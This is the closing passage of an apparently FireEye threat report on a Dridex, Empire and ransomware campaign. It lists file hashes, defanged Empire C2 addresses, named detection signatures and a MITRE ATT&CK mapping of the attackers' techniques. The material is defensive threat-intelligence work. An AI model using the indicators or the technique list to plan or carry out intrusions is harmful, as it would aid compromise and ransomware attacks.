63d4834f453ffd63336f0851a9d4c632

0ef5c94779cd7861b5e872cd5e922311

Empire C2

185.122.59[.]78

109.94.110[.]136

Detecting the Techniques

FireEye detects this activity across our platforms, including named detections for Dridex, Empire, BitPaymer and DoppelPaymer Ransomware. As a result of these investigations, FireEye additionally deployed new indicators and signatures to Endpoint and Network Security appliances.  This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

 

Endpoint Security

 

HX Exploit Detection
Empire RAT (BACKDOOR)
EVENTVWR PARENT PROCESS (METHODOLOGY)
Dridex (BACKDOOR)
Dridex A (BACKDOOR)
POWERSHELL SSL VERIFICATION DISABLE (METHODOLOGY)
SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
FAKEUPDATES SCREENSHOT CAPTURE (METHODOLOGY)

Network Security

Backdoor.FAKEUPDATES
Trojan.Downloader.FakeUpdate
Exploit.Kit.FakeUpdate
Trojan.SSLCert.SocGholish

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

Drive-by Compromise (T1189), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047)

Persistence

DLL Search Order Hijacking (T1038)

Privilege Escalation

Bypass User Account Control (T1088), DLL Search Order Hijacking (T1038)

Defense Evasion

Bypass User Account Control (T1088), Disabling Security Tools (T1089), DLL Search Order Hijacking (T1038), File Deletion (T1107), Masquerading (T1036), NTFS File Attributes (T1096), Obfuscated Files or Information (T1027), Scripting (T1064), Virtualization/Sandbox Evasion (T1497)

Credential Access

Credential Dumping (T1003)

Discovery

Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Share Discovery (T1135), Process Discovery (T1057), Remote System Discovery (T1018), Security Software Discovery (T1063), System Information Discovery (T1082), System Network Configuration Discovery (T1016), Virtualization/Sandbox Evasion (T1497)

Lateral Movement

Remote Desktop Protocol (T1076),  Remote File Copy (T1105)

Collection

Data from Local System (T1005), Screen Capture (T1113)

Command And Control

Commonly Used Port (T1436), Custom Command and Control Protocol (T1094) ,Data Encoding (T1132), Data Obfuscation (T1001), Remote Access Tools (T1219), Remote File Copy (T1105), Standard Application Layer Protocol (T1071)

Exfiltration

Automated Exfiltration (T1020), Exfiltration Over Command and Control Channel (T1041)

Impact

Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490), Service Stop (T1489)

Acknowledgements

A huge thanks to James Wyke and Jeremy Kennelly for their analysis of this activity and support of this post.

Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.